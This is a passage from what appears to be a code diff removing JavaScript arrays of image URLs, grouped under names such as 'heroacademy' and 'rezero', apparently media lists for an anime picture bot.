-'https://img.nickpic.host/uYZ7Yd.jpg',
-'https://img.nickpic.host/uYZ1nO.jpg',
-'https://img.nickpic.host/uYZz6q.jpg',
-'https://img.nickpic.host/uYZebb.jpg',
-'https://img.nickpic.host/uYZYq5.jpg',
-'https://img.nickpic.host/uYZKID.jpg',
-'https://img.nickpic.host/uYZfjF.jpg',
-'https://img.nickpic.host/uYZHDP.jpg',
-'https://img.nickpic.host/uYZNTM.jpg',
-'https://img.nickpic.host/uYZ0ne.jpg',
-'https://img.nickpic.host/uYZJH6.jpg',
-'https://img.nickpic.host/uYdrw2.jpg',
-'https://img.nickpic.host/uYZk6f.jpg',
-'https://img.nickpic.host/uYdatN.jpg',
-'https://img.nickpic.host/uYZTqY.jpg',
-'https://img.nickpic.host/uYZWwA.jpg',
-'https://img.nickpic.host/uYZPmp.jpg',
-'https://img.nickpic.host/uYdI9W.jpg',
-'https://img.nickpic.host/uYZyjz.jpg',
-'https://img.nickpic.host/uYdBmn.jpg',
-'https://img.nickpic.host/uYdGtc.jpg',
-'https://img.nickpic.host/uYdbus.jpg',
-'https://img.nickpic.host/uYZZWG.jpg',
-'https://img.nickpic.host/uYdvHJ.jpg',
-'https://img.nickpic.host/uYdob1.jpg',
-'https://img.nickpic.host/uYdjeO.jpg',
-'https://img.nickpic.host/uYdpCj.jpg',
-'https://img.nickpic.host/uYd5rm.jpg',
-'https://img.nickpic.host/uYdFlx.jpg',
-'https://img.nickpic.host/uYdqmd.jpg',
-'https://img.nickpic.host/uYdsWQ.jpg',
-'https://img.nickpic.host/uYdUrX.jpg',
-'https://img.nickpic.host/uYdEWP.jpg',
-'https://img.nickpic.host/uYdcNq.jpg',
-'https://img.nickpic.host/uYdSC8.jpg',
-'https://img.nickpic.host/uYdCee.jpg',
-'https://img.nickpic.host/uYduuD.jpg',
-'https://img.nickpic.host/uYdhlM.jpg',
-'https://img.nickpic.host/uYdAz5.jpg',
-'https://img.nickpic.host/uYd6MF.jpg',
-'https://img.nickpic.host/uYdXQb.jpg',
-'https://img.nickpic.host/uYdYVj.jpg',
-'https://img.nickpic.host/uYdRzY.jpg',
-'https://img.nickpic.host/uYdto6.jpg',
-'https://img.nickpic.host/uYdiNf.jpg',
-'https://img.nickpic.host/uYdMAp.jpg',
-'https://img.nickpic.host/uYd8rW.jpg',
-'https://img.nickpic.host/uYdD5G.jpg',
-'https://img.nickpic.host/uYdzkc.jpg',
-'https://img.nickpic.host/uYdwMz.jpg',
-'https://img.nickpic.host/uYdLsO.jpg',
-'https://img.nickpic.host/uYd1ZA.jpg',
-'https://img.nickpic.host/uYdNoJ.jpg',
-'https://img.nickpic.host/uYdKQ1.jpg',
-'https://img.nickpic.host/uYdPUm.jpg',
-'https://img.nickpic.host/uYdVAn.jpg',
-'https://img.nickpic.host/uYdeRx.jpg',
-'https://img.nickpic.host/uYyxse.jpg',
-'https://img.nickpic.host/uYd0Z2.jpg',
-'https://img.nickpic.host/uYdf7s.jpg',
-'https://img.nickpic.host/uYd95Q.jpg',
-'https://img.nickpic.host/uYyGd5.jpg',
-'https://img.nickpic.host/uYdTV8.jpg',
-'https://img.nickpic.host/uYdkkN.jpg',
-'https://img.nickpic.host/uYddAd.jpg',
-'https://img.nickpic.host/uYdy7D.jpg',
-'https://img.nickpic.host/uYym5P.jpg',
-'https://img.nickpic.host/uYytXO.jpg',
-'https://img.nickpic.host/uYdZpq.jpg',
-'https://img.nickpic.host/uYyg3c.jpg',
-'https://img.nickpic.host/uYypJF.jpg',
-'https://img.nickpic.host/uYyBUX.jpg',
-'https://img.nickpic.host/uYyoRM.jpg',
-'https://img.nickpic.host/uYyadY.jpg',
-'https://img.nickpic.host/uYy3E6.jpg',
-'https://img.nickpic.host/uYyqUW.jpg',
-'https://img.nickpic.host/uYyF8p.jpg',
-'https://img.nickpic.host/uYybfb.jpg',
-'https://img.nickpic.host/uYyspf.jpg',
-'https://img.nickpic.host/uYySJz.jpg',
-'https://img.nickpic.host/uYy51G.jpg',
-'https://img.nickpic.host/uYyh8n.jpg',
-'https://img.nickpic.host/uYylSA.jpg',
-'https://img.nickpic.host/uYyuf1.jpg',
-'https://img.nickpic.host/uYyOEJ.jpg',
-'https://img.nickpic.host/uYyQS2.jpg',
-'https://img.nickpic.host/uYyEvj.jpg',
-'https://img.nickpic.host/uYyn3N.jpg',
-'https://img.nickpic.host/uYy2Of.jpg',
-'https://img.nickpic.host/uYyU1Q.jpg',
-'https://img.nickpic.host/uYy6ys.jpg',
-'https://img.nickpic.host/uYyL4A.jpg',
-'https://img.nickpic.host/uYy1v8.jpg',
-'https://img.nickpic.host/uYyKLM.jpg',
-'https://img.nickpic.host/uYyXLx.jpg',
-'https://img.nickpic.host/uYyM0m.jpg',
-'https://img.nickpic.host/uYywyD.jpg',
-'https://img.nickpic.host/uYyD8d.jpg',
-'https://img.nickpic.host/uYy4Oq.jpg',
-'https://img.nickpic.host/uYy7c5.jpg',
-'https://img.nickpic.host/uYy81P.jpg',
-'https://img.nickpic.host/uYyZic.jpg',
-'https://img.nickpic.host/uYyNXe.jpg',
-'https://img.nickpic.host/uYyHFF.jpg',
-'https://img.nickpic.host/uYy0xb.jpg',
-'https://img.nickpic.host/uYyV0X.jpg',
-'https://img.nickpic.host/uYyWFz.jpg',
-'https://img.nickpic.host/uYyJcY.jpg',
-'https://img.nickpic.host/uHGGx1.jpg',
-'https://img.nickpic.host/uYy9K6.jpg',
-'https://img.nickpic.host/uYykGp.jpg',
-'https://img.nickpic.host/uYyPPG.jpg',
-'https://img.nickpic.host/uHGjh8.jpg',
-'https://img.nickpic.host/uHGIhj.jpg',
-'https://img.nickpic.host/uYyd0W.jpg',
-'https://img.nickpic.host/uHGmKJ.jpg',
-'https://img.nickpic.host/uHGpGn.jpg',
-'https://img.nickpic.host/uHGBPQ.jpg',
-'https://img.nickpic.host/uHGsiN.jpg',
-'https://img.nickpic.host/uHGaBm.jpg',
-'https://img.nickpic.host/uHGvgs.jpg',
-'https://img.nickpic.host/uHGlYq.jpg',
-'https://img.nickpic.host/uHGx42.jpg',
-'https://img.nickpic.host/uHGrax.jpg',
-'https://img.nickpic.host/uHGgD5.jpg',
-'https://img.nickpic.host/uHGnDY.jpg',
-'https://img.nickpic.host/uHGAaM.jpg',
-'https://img.nickpic.host/uHG32O.jpg',
-'https://img.nickpic.host/uHGqPP.jpg',
-'https://img.nickpic.host/uHGSGd.jpg',
-'https://img.nickpic.host/uHGcgD.jpg',
-'https://img.nickpic.host/uHG6BX.jpg',
-'https://img.nickpic.host/uHGEnF.jpg',
-'https://img.nickpic.host/uHGXI6.jpg',
-'https://img.nickpic.host/uHGC6b.jpg',
-'https://img.nickpic.host/uHGO2e.jpg',
-'https://img.nickpic.host/uHGtTA.jpg',
-'https://img.nickpic.host/uHGQYf.jpg',
-'https://img.nickpic.host/uHG49c.jpg',
-'https://img.nickpic.host/uHGz61.jpg',
-'https://img.nickpic.host/uHG1nz.jpg',
-'https://img.nickpic.host/uHGiqp.jpg',
-'https://img.nickpic.host/uHGRjG.jpg',
-'https://img.nickpic.host/uHG7Hj.jpg',
-'https://img.nickpic.host/uHGHws.jpg',
-'https://img.nickpic.host/uHGwBW.jpg',
-'https://img.nickpic.host/uHGYqn.jpg',
-'https://img.nickpic.host/uHIGtM.jpg',
-'https://img.nickpic.host/uHGKIJ.jpg',
-'https://img.nickpic.host/uHG0tx.jpg',
-'https://img.nickpic.host/uHGebO.jpg',
-'https://img.nickpic.host/uHGkCm.jpg',
-'https://img.nickpic.host/uHGNT2.jpg',
-'https://img.nickpic.host/uHGfjQ.jpg',
-'https://img.nickpic.host/uHIIeF.jpg',
-'https://img.nickpic.host/uHIvNb.jpg',
-'https://img.nickpic.host/uHGJH8.jpg',
-'https://img.nickpic.host/uHG29N.jpg',
-'https://img.nickpic.host/uHGZW5.jpg',
-'https://img.nickpic.host/uHGPmq.jpg',
-'https://img.nickpic.host/uHGTqd.jpg',
-'https://img.nickpic.host/uHGWwD.jpg',
-'https://img.nickpic.host/uHIrzp.jpg',
-'https://img.nickpic.host/uHGyjP.jpg',
-'https://img.nickpic.host/uHIpCX.jpg',
-'https://img.nickpic.host/uHIUrN.jpg',
-'https://img.nickpic.host/uHID55.jpg',
-'https://img.nickpic.host/uHIobe.jpg',
-'https://img.nickpic.host/uHIbu6.jpg',
-'https://img.nickpic.host/uHIaMG.jpg',
-'https://img.nickpic.host/uHIBmf.jpg',
-'https://img.nickpic.host/uHIFlA.jpg',
-'https://img.nickpic.host/uHIsWY.jpg',
-'https://img.nickpic.host/uHIjez.jpg',
-'https://img.nickpic.host/uHI5rc.jpg',
-'https://img.nickpic.host/uHIcN1.jpg',
-'https://img.nickpic.host/uHISCW.jpg',
-'https://img.nickpic.host/uHIiVm.jpg',
-'https://img.nickpic.host/uHIuuJ.jpg',
-'https://img.nickpic.host/uHIqoj.jpg',
-'https://img.nickpic.host/uHIAzn.jpg',
-'https://img.nickpic.host/uHICkx.jpg',
-'https://img.nickpic.host/uHIwMP.jpg',
-'https://img.nickpic.host/uHIEZs.jpg',
-'https://img.nickpic.host/uHIhl2.jpg',
-'https://img.nickpic.host/uHIXQO.jpg',
-'https://img.nickpic.host/uHIRzd.jpg',
-'https://img.nickpic.host/uHI6MQ.jpg',
-'https://img.nickpic.host/uHIf76.jpg',
-'https://img.nickpic.host/uHI1ZD.jpg',
-'https://img.nickpic.host/uHIto8.jpg',
-'https://img.nickpic.host/uHIMAq.jpg',
-'https://img.nickpic.host/uHIKQe.jpg',
-'https://img.nickpic.host/uHINpb.jpg',
-'https://img.nickpic.host/uHI8sF.jpg',
-'https://img.nickpic.host/uHIYVX.jpg',
-'https://img.nickpic.host/uHIZp1.jpg',
-'https://img.nickpic.host/uHIzkM.jpg',
-'https://img.nickpic.host/uHIkJG.jpg',
-'https://img.nickpic.host/uHIVAf.jpg',
-'https://img.nickpic.host/uHI95Y.jpg',
-'https://img.nickpic.host/uHIdEj.jpg',
-'https://img.nickpic.host/uHILsz.jpg',
-'https://img.nickpic.host/uHI0dp.jpg',
-'https://img.nickpic.host/uHIPUc.jpg',
-'https://img.nickpic.host/uHIeRA.jpg',
-'https://img.nickpic.host/uHITVW.jpg']
-
-
-global.heroacademy = ['https://img.nickpic.host/q1hKQ1.jpg',
-'https://img.nickpic.host/q1h8rW.jpg',
-'https://img.nickpic.host/q1hzkc.jpg',
-'https://img.nickpic.host/q1hwMz.jpg',
-'https://img.nickpic.host/q1h1ZA.jpg',
-'https://img.nickpic.host/q1hD5G.jpg',
-'https://img.nickpic.host/q1hMAp.jpg',
-'https://img.nickpic.host/q1hRzY.jpg',
-'https://img.nickpic.host/q1hiNf.jpg',
-'https://img.nickpic.host/q1hto6.jpg',
-'https://img.nickpic.host/q1hYVj.jpg',
-'https://img.nickpic.host/q1hNoJ.jpg',
-'https://img.nickpic.host/q1hVAn.jpg',
-'https://img.nickpic.host/q1hf7s.jpg',
-'https://img.nickpic.host/q1h0Z2.jpg',
-'https://img.nickpic.host/q1h95Q.jpg',
-'https://img.nickpic.host/q1heRx.jpg',
-'https://img.nickpic.host/q1hLsO.jpg',
-'https://img.nickpic.host/q1hkkN.jpg',
-'https://img.nickpic.host/q1hPUm.jpg',
-'https://img.nickpic.host/q1hTV8.jpg',
-'https://img.nickpic.host/q1hZpq.jpg',
-'https://img.nickpic.host/q1hy7D.jpg',
-'https://img.nickpic.host/q1hdAd.jpg',
-'https://img.nickpic.host/q16oRM.jpg',
-'https://img.nickpic.host/q16Gd5.jpg',
-'https://img.nickpic.host/q16m5P.jpg',
-'https://img.nickpic.host/q16pJF.jpg',
-'https://img.nickpic.host/q16xse.jpg',
-'https://img.nickpic.host/q16BUX.jpg',
-'https://img.nickpic.host/q16bfb.jpg',
-'https://img.nickpic.host/q16spf.jpg',
-'https://img.nickpic.host/q163E6.jpg',
-'https://img.nickpic.host/q16F8p.jpg',
-'https://img.nickpic.host/q16adY.jpg',
-'https://img.nickpic.host/q16lSA.jpg',
-'https://img.nickpic.host/q1651G.jpg',
-'https://img.nickpic.host/q16SJz.jpg',
-'https://img.nickpic.host/q16g3c.jpg',
-'https://img.nickpic.host/q16qUW.jpg',
-'https://img.nickpic.host/q16uf1.jpg',
-'https://img.nickpic.host/q16Evj.jpg',
-'https://img.nickpic.host/q16OEJ.jpg',
-'https://img.nickpic.host/q16h8n.jpg',
-'https://img.nickpic.host/q166ys.jpg',
-'https://img.nickpic.host/q16QS2.jpg',
-'https://img.nickpic.host/q16U1Q.jpg',
-'https://img.nickpic.host/q16XLx.jpg',
-'https://img.nickpic.host/q16n3N.jpg',
-'https://img.nickpic.host/q16tXO.jpg',
-'https://img.nickpic.host/q161v8.jpg',
-'https://img.nickpic.host/q16M0m.jpg',
-'https://img.nickpic.host/q164Oq.jpg',
-'https://img.nickpic.host/q16wyD.jpg',
-'https://img.nickpic.host/q16D8d.jpg',
-'https://img.nickpic.host/q167c5.jpg',
-'https://img.nickpic.host/q1681P.jpg',
-'https://img.nickpic.host/q16KLM.jpg',
-'https://img.nickpic.host/q16HFF.jpg',
-'https://img.nickpic.host/q16NXe.jpg',
-'https://img.nickpic.host/q16V0X.jpg',
-'https://img.nickpic.host/q162Of.jpg',
-'https://img.nickpic.host/q160xb.jpg',
-'https://img.nickpic.host/q169K6.jpg',
-'https://img.nickpic.host/q16kGp.jpg',
-'https://img.nickpic.host/q16JcY.jpg',
-'https://img.nickpic.host/q16PPG.jpg',
-'https://img.nickpic.host/q16L4A.jpg',
-'https://img.nickpic.host/q16WFz.jpg',
-'https://img.nickpic.host/q16Zic.jpg',
-'https://img.nickpic.host/q16d0W.jpg',
-'https://img.nickpic.host/q1CGx1.jpg',
-'https://img.nickpic.host/q1CIhj.jpg',
-'https://img.nickpic.host/q1CmKJ.jpg',
-'https://img.nickpic.host/q1CpGn.jpg',
-'https://img.nickpic.host/q1Cvgs.jpg',
-'https://img.nickpic.host/q1Cx42.jpg',
-'https://img.nickpic.host/q1CBPQ.jpg',
-'https://img.nickpic.host/q1Crax.jpg',
-'https://img.nickpic.host/q1CsiN.jpg',
-'https://img.nickpic.host/q1C32O.jpg',
-'https://img.nickpic.host/q1CaBm.jpg',
-'https://img.nickpic.host/q1Cjh8.jpg',
-'https://img.nickpic.host/q1ClYq.jpg',
-'https://img.nickpic.host/q1CSGd.jpg',
-'https://img.nickpic.host/q1CcgD.jpg',
-'https://img.nickpic.host/q1CgD5.jpg',
-'https://img.nickpic.host/q1CqPP.jpg',
-'https://img.nickpic.host/q1CAaM.jpg',
-'https://img.nickpic.host/q1CEnF.jpg',
-'https://img.nickpic.host/q1CO2e.jpg',
-'https://img.nickpic.host/q1C6BX.jpg',
-'https://img.nickpic.host/q1CC6b.jpg',
-'https://img.nickpic.host/q1CQYf.jpg',
-'https://img.nickpic.host/q1CXI6.jpg',
-'https://img.nickpic.host/q1Ciqp.jpg',
-'https://img.nickpic.host/q1CnDY.jpg',
-'https://img.nickpic.host/q1CtTA.jpg',
-'https://img.nickpic.host/q1CRjG.jpg',
-'https://img.nickpic.host/q1C1nz.jpg',
-'https://img.nickpic.host/q1C49c.jpg',
-'https://img.nickpic.host/q1CwBW.jpg',
-'https://img.nickpic.host/q1Cz61.jpg',
-'https://img.nickpic.host/q1C7Hj.jpg',
-'https://img.nickpic.host/q1CKIJ.jpg',
-'https://img.nickpic.host/q1CYqn.jpg',
-'https://img.nickpic.host/q1CHws.jpg',
-'https://img.nickpic.host/q1CNT2.jpg',
-'https://img.nickpic.host/q1CfjQ.jpg',
-'https://img.nickpic.host/q1C0tx.jpg',
-'https://img.nickpic.host/q1C29N.jpg',
-'https://img.nickpic.host/q1CebO.jpg',
-'https://img.nickpic.host/q1CkCm.jpg',
-'https://img.nickpic.host/q1CJH8.jpg',
-'https://img.nickpic.host/q1CPmq.jpg',
-'https://img.nickpic.host/q1CTqd.jpg',
-'https://img.nickpic.host/q1CWwD.jpg',
-'https://img.nickpic.host/q1CZW5.jpg',
-'https://img.nickpic.host/q1CyjP.jpg',
-'https://img.nickpic.host/q1QGtM.jpg',
-'https://img.nickpic.host/q1QIeF.jpg',
-'https://img.nickpic.host/q1Qobe.jpg',
-'https://img.nickpic.host/q1QpCX.jpg',
-'https://img.nickpic.host/q1QvNb.jpg',
-'https://img.nickpic.host/q1QBmf.jpg',
-'https://img.nickpic.host/q1Qbu6.jpg',
-'https://img.nickpic.host/q1Qrzp.jpg',
-'https://img.nickpic.host/q1QsWY.jpg',
-'https://img.nickpic.host/q1QFlA.jpg',
-'https://img.nickpic.host/q1QaMG.jpg',
-'https://img.nickpic.host/q1Qjez.jpg',
-'https://img.nickpic.host/q1Q5rc.jpg',
-'https://img.nickpic.host/q1QSCW.jpg',
-'https://img.nickpic.host/q1QcN1.jpg',
-'https://img.nickpic.host/q1Qqoj.jpg',
-'https://img.nickpic.host/q1QuuJ.jpg',
-'https://img.nickpic.host/q1QAzn.jpg',
-'https://img.nickpic.host/q1QEZs.jpg',
-'https://img.nickpic.host/q1Qhl2.jpg',
-'https://img.nickpic.host/q1Q6MQ.jpg',
-'https://img.nickpic.host/q1QCkx.jpg',
-'https://img.nickpic.host/q1QUrN.jpg',
-'https://img.nickpic.host/q1QXQO.jpg',
-'https://img.nickpic.host/q1QiVm.jpg',
-'https://img.nickpic.host/q1Qto8.jpg',
-'https://img.nickpic.host/q1QMAq.jpg',
-'https://img.nickpic.host/q1QRzd.jpg',
-'https://img.nickpic.host/q1Q1ZD.jpg',
-'https://img.nickpic.host/q1QD55.jpg',
-'https://img.nickpic.host/q1QwMP.jpg',
-'https://img.nickpic.host/q1QzkM.jpg',
-'https://img.nickpic.host/q1Q8sF.jpg',
-'https://img.nickpic.host/q1QKQe.jpg',
-'https://img.nickpic.host/q1QYVX.jpg',
-'https://img.nickpic.host/q1QNpb.jpg',
-'https://img.nickpic.host/q1QVAf.jpg',
-'https://img.nickpic.host/q1Qf76.jpg',
-'https://img.nickpic.host/q1Q0dp.jpg',
-'https://img.nickpic.host/q1Q95Y.jpg',
-'https://img.nickpic.host/q1QeRA.jpg',
-'https://img.nickpic.host/q1QkJG.jpg',
-'https://img.nickpic.host/q1QLsz.jpg',
-'https://img.nickpic.host/q1QPUc.jpg',
-'https://img.nickpic.host/q1QTVW.jpg',
-'https://img.nickpic.host/q1QZp1.jpg',
-'https://img.nickpic.host/q1QdEj.jpg',
-'https://img.nickpic.host/q1Qy7J.jpg',
-'https://img.nickpic.host/q1UGdn.jpg',
-'https://img.nickpic.host/q1UmSs.jpg',
-'https://img.nickpic.host/q1UoR2.jpg',
-'https://img.nickpic.host/q1Ux3x.jpg',
-'https://img.nickpic.host/q1UpJQ.jpg',
-'https://img.nickpic.host/q1UBUN.jpg',
-'https://img.nickpic.host/q1UbfO.jpg',
-'https://img.nickpic.host/q1Usvm.jpg',
-'https://img.nickpic.host/q1U3E8.jpg',
-'https://img.nickpic.host/q1UF8q.jpg',
-'https://img.nickpic.host/q1UlSD.jpg',
-'https://img.nickpic.host/q1Uadd.jpg',
-'https://img.nickpic.host/q1U515.jpg',
-'https://img.nickpic.host/q1USJP.jpg',
-'https://img.nickpic.host/q1Ug3M.jpg',
-'https://img.nickpic.host/q1UqXF.jpg',
-'https://img.nickpic.host/q1Uufe.jpg',
-'https://img.nickpic.host/q1UEvX.jpg',
-'https://img.nickpic.host/q1UOOb.jpg',
-'https://img.nickpic.host/q1Uh8f.jpg',
-'https://img.nickpic.host/q1U6y6.jpg',
-'https://img.nickpic.host/q1UQcp.jpg',
-'https://img.nickpic.host/q1UU1Y.jpg',
-'https://img.nickpic.host/q1UXLA.jpg',
-'https://img.nickpic.host/q1UnFG.jpg',
-'https://img.nickpic.host/q1UtXz.jpg',
-'https://img.nickpic.host/q1UM0c.jpg',
-'https://img.nickpic.host/q1U1vW.jpg',
-'https://img.nickpic.host/q1U4O1.jpg',
-'https://img.nickpic.host/q1UDKj.jpg',
-'https://img.nickpic.host/q1UwyJ.jpg',
-'https://img.nickpic.host/q1U7cn.jpg',
-'https://img.nickpic.host/q1U84s.jpg',
-'https://img.nickpic.host/q1UKL2.jpg',
-'https://img.nickpic.host/q1UHFQ.jpg',
-'https://img.nickpic.host/q1UNix.jpg',
-'https://img.nickpic.host/q1UV0N.jpg',
-'https://img.nickpic.host/q1U0xO.jpg',
-'https://img.nickpic.host/q1U2hm.jpg',
-'https://img.nickpic.host/q1U9K8.jpg',
-'https://img.nickpic.host/q1UkGq.jpg',
-'https://img.nickpic.host/q1UJcd.jpg',
-'https://img.nickpic.host/q1UL4D.jpg',
-'https://img.nickpic.host/q1UPP5.jpg',
-'https://img.nickpic.host/q1UWFP.jpg',
-'https://img.nickpic.host/q1UZiM.jpg',
-'https://img.nickpic.host/q1Ud2F.jpg',
-'https://img.nickpic.host/q1XGxe.jpg',
-'https://img.nickpic.host/q1XIhX.jpg',
-'https://img.nickpic.host/q1XmYb.jpg',
-'https://img.nickpic.host/q1Xvg6.jpg',
-'https://img.nickpic.host/q1XpGf.jpg',
-'https://img.nickpic.host/q1XBPY.jpg',
-'https://img.nickpic.host/q1XxDp.jpg',
-'https://img.nickpic.host/q1XraA.jpg',
-'https://img.nickpic.host/q1XsnG.jpg',
-'https://img.nickpic.host/q1X32z.jpg',
-'https://img.nickpic.host/q1XaBc.jpg',
-'https://img.nickpic.host/q1XjhW.jpg',
-'https://img.nickpic.host/q1XlY1.jpg',
-'https://img.nickpic.host/q1XSIj.jpg',
-'https://img.nickpic.host/q1XcgJ.jpg',
-'https://img.nickpic.host/q1XgDn.jpg',
-'https://img.nickpic.host/q1XqTs.jpg',
-'https://img.nickpic.host/q1XAa2.jpg',
-'https://img.nickpic.host/q1XEnQ.jpg',
-'https://img.nickpic.host/q1XO9x.jpg',
-'https://img.nickpic.host/q1X6BN.jpg',
-'https://img.nickpic.host/q1XC6O.jpg',
-'https://img.nickpic.host/q1XXI8.jpg',
-'https://img.nickpic.host/q1XQHm.jpg',
-'https://img.nickpic.host/q1Xiqq.jpg',
-'https://img.nickpic.host/q1XnDd.jpg',
-'https://img.nickpic.host/q1XtTD.jpg',
-'https://img.nickpic.host/q1XRj5.jpg',
-'https://img.nickpic.host/q1X1nP.jpg',
-'https://img.nickpic.host/q1XKmb.jpg',
-'https://img.nickpic.host/q1X49M.jpg',
-'https://img.nickpic.host/q1XwbF.jpg',
-'https://img.nickpic.host/q1X7HX.jpg',
-'https://img.nickpic.host/q1Xz6e.jpg',
-'https://img.nickpic.host/q1XYqf.jpg',
-'https://img.nickpic.host/q1XHw6.jpg',
-'https://img.nickpic.host/q1XNWp.jpg',
-'https://img.nickpic.host/q1XfjY.jpg',
-'https://img.nickpic.host/q1X0tA.jpg',
-'https://img.nickpic.host/q1Xebz.jpg',
-'https://img.nickpic.host/q1X2eG.jpg',
-'https://img.nickpic.host/q1XkCc.jpg',
-'https://img.nickpic.host/q1XJHW.jpg',
-'https://img.nickpic.host/q1XPm1.jpg',
-'https://img.nickpic.host/q1XTuj.jpg',
-'https://img.nickpic.host/q1XWwJ.jpg',
-'https://img.nickpic.host/q1XZWn.jpg',
-'https://img.nickpic.host/q1Xyls.jpg',
-'https://img.nickpic.host/q1iGt2.jpg',
-'https://img.nickpic.host/q1iIeQ.jpg',
-'https://img.nickpic.host/q1iorx.jpg',
-'https://img.nickpic.host/q1iBom.jpg',
-'https://img.nickpic.host/q1ivNO.jpg',
-'https://img.nickpic.host/q1ipCN.jpg',
-'https://img.nickpic.host/q1ibu8.jpg',
-'https://img.nickpic.host/q1irzq.jpg',
-'https://img.nickpic.host/q1iFlD.jpg',
-'https://img.nickpic.host/q1isWd.jpg',
-'https://img.nickpic.host/q1iaM5.jpg',
-'https://img.nickpic.host/q1ijeP.jpg',
-'https://img.nickpic.host/q1i5rM.jpg',
-'https://img.nickpic.host/q1iSQF.jpg',
-'https://img.nickpic.host/q1icNe.jpg',
-'https://img.nickpic.host/q1iqoX.jpg',
-'https://img.nickpic.host/q1iuAb.jpg',
-'https://img.nickpic.host/q1iAzf.jpg',
-'https://img.nickpic.host/q1iEZ6.jpg',
-'https://img.nickpic.host/q1i6MY.jpg',
-'https://img.nickpic.host/q1ih5p.jpg',
-'https://img.nickpic.host/q1iCkA.jpg',
-'https://img.nickpic.host/q1iUsG.jpg',
-'https://img.nickpic.host/q1iXQz.jpg',
-'https://img.nickpic.host/q1iiVc.jpg',
-'https://img.nickpic.host/q1itoW.jpg',
-'https://img.nickpic.host/q1iMA1.jpg',
-'https://img.nickpic.host/q1iR7j.jpg',
-'https://img.nickpic.host/q1i1ZJ.jpg',
-'https://img.nickpic.host/q1iD5n.jpg',
-'https://img.nickpic.host/q1iwRs.jpg',
-'https://img.nickpic.host/q1izk2.jpg',
-'https://img.nickpic.host/q1i8sQ.jpg',
-'https://img.nickpic.host/q1iKUx.jpg',
-'https://img.nickpic.host/q1iNpO.jpg',
-'https://img.nickpic.host/q1iYVN.jpg',
-'https://img.nickpic.host/q1iVEm.jpg',
-'https://img.nickpic.host/q1if78.jpg',
-'https://img.nickpic.host/q1i0dq.jpg',
-'https://img.nickpic.host/q1ieRD.jpg',
-'https://img.nickpic.host/q1i95d.jpg',
-'https://img.nickpic.host/q1ikJ5.jpg',
-'https://img.nickpic.host/q1iLsP.jpg',
-'https://img.nickpic.host/q1iPUM.jpg',
-'https://img.nickpic.host/q1iZpe.jpg',
-'https://img.nickpic.host/q1iTfF.jpg',
-'https://img.nickpic.host/q1idEX.jpg',
-'https://img.nickpic.host/q1iy8b.jpg',
-'https://img.nickpic.host/q1nGdf.jpg',
-'https://img.nickpic.host/q1nmS6.jpg',
-'https://img.nickpic.host/q1no1p.jpg',
-'https://img.nickpic.host/q1npJY.jpg',
-'https://img.nickpic.host/q1nBXG.jpg',
-'https://img.nickpic.host/q1nsvc.jpg',
-'https://img.nickpic.host/q1nx3A.jpg',
-'https://img.nickpic.host/q1nbfz.jpg',
-'https://img.nickpic.host/q1n3EW.jpg',
-'https://img.nickpic.host/q1nayj.jpg',
-'https://img.nickpic.host/q1nF81.jpg',
-'https://img.nickpic.host/q1n51n.jpg',
-'https://img.nickpic.host/q1nlSJ.jpg',
-'https://img.nickpic.host/q1nSLs.jpg',
-'https://img.nickpic.host/q1nqXQ.jpg',
-'https://img.nickpic.host/q1ng32.jpg',
-'https://img.nickpic.host/q1nu0x.jpg',
-'https://img.nickpic.host/q1nEvN.jpg',
-'https://img.nickpic.host/q1nOOO.jpg',
-'https://img.nickpic.host/q1n6y8.jpg',
-'https://img.nickpic.host/q1nhKm.jpg',
-'https://img.nickpic.host/q1nXLD.jpg',
-'https://img.nickpic.host/q1nQcq.jpg',
-'https://img.nickpic.host/q1nU1d.jpg',
-'https://img.nickpic.host/q1nnF5.jpg',
-'https://img.nickpic.host/q1ntXP.jpg',
-'https://img.nickpic.host/q1n1xF.jpg',
-'https://img.nickpic.host/q1nM0M.jpg',
-'https://img.nickpic.host/q1n4Oe.jpg',
-'https://img.nickpic.host/q1n7cf.jpg',
-'https://img.nickpic.host/q1nzGb.jpg',
-'https://img.nickpic.host/q1nDKX.jpg',
-'https://img.nickpic.host/q1n846.jpg',
-'https://img.nickpic.host/q1nHFY.jpg',
-'https://img.nickpic.host/q1nKPp.jpg',
-'https://img.nickpic.host/q1nNiA.jpg',
-'https://img.nickpic.host/q1n0xz.jpg',
-'https://img.nickpic.host/q1nV2G.jpg',
-'https://img.nickpic.host/q1n2hc.jpg',
-'https://img.nickpic.host/q1n9KW.jpg',
-'https://img.nickpic.host/q1nJgj.jpg',
-'https://img.nickpic.host/q1nkG1.jpg',
-'https://img.nickpic.host/q1nL4J.jpg',
-'https://img.nickpic.host/q1nPPn.jpg',
-'https://img.nickpic.host/q1nZi2.jpg',
-'https://img.nickpic.host/q1nWas.jpg',
-'https://img.nickpic.host/q1nd2Q.jpg',
-'https://img.nickpic.host/q1tGBx.jpg',
-'https://img.nickpic.host/q1tIhN.jpg',
-'https://img.nickpic.host/q1tmYO.jpg',
-'https://img.nickpic.host/q1tpIm.jpg',
-'https://img.nickpic.host/q1tBPd.jpg',
-'https://img.nickpic.host/q1tvg8.jpg',
-'https://img.nickpic.host/q1txDq.jpg',
-'https://img.nickpic.host/q1traD.jpg']
-
-
-global.rezero = ['https://img.nickpic.host/q4YjZA.jpg',
-'https://img.nickpic.host/q4YazY.jpg',
-'https://img.nickpic.host/q4YFAp.jpg',
-'https://img.nickpic.host/q4Y3o6.jpg',
-'https://img.nickpic.host/q4YrNf.jpg',
-'https://img.nickpic.host/q4YBrX.jpg',
-'https://img.nickpic.host/q4YbQb.jpg',
-'https://img.nickpic.host/q4Yvee.jpg',
-'https://img.nickpic.host/q4YpMF.jpg',
-'https://img.nickpic.host/q4YolM.jpg',
-'https://img.nickpic.host/q4Y55G.jpg',
-'https://img.nickpic.host/q4Yckc.jpg',
-'https://img.nickpic.host/q4YSMz.jpg',
-'https://img.nickpic.host/q4YqrW.jpg',
-'https://img.nickpic.host/q4YuQ1.jpg',
-'https://img.nickpic.host/q4YhAn.jpg',
-'https://img.nickpic.host/q4YOoJ.jpg',
-'https://img.nickpic.host/q4YAVj.jpg',
-'https://img.nickpic.host/q4Y67s.jpg',
-'https://img.nickpic.host/q4YCZ2.jpg',
-'https://img.nickpic.host/q4YU5Q.jpg',
-'https://img.nickpic.host/q4YXRx.jpg',
-'https://img.nickpic.host/q4YikN.jpg',
-'https://img.nickpic.host/q4YtsO.jpg',
-'https://img.nickpic.host/q4YMUm.jpg',
-'https://img.nickpic.host/q4YRV8.jpg',
-'https://img.nickpic.host/q4Y4pq.jpg',
-'https://img.nickpic.host/q4YDAd.jpg',
-'https://img.nickpic.host/q4Yw7D.jpg',
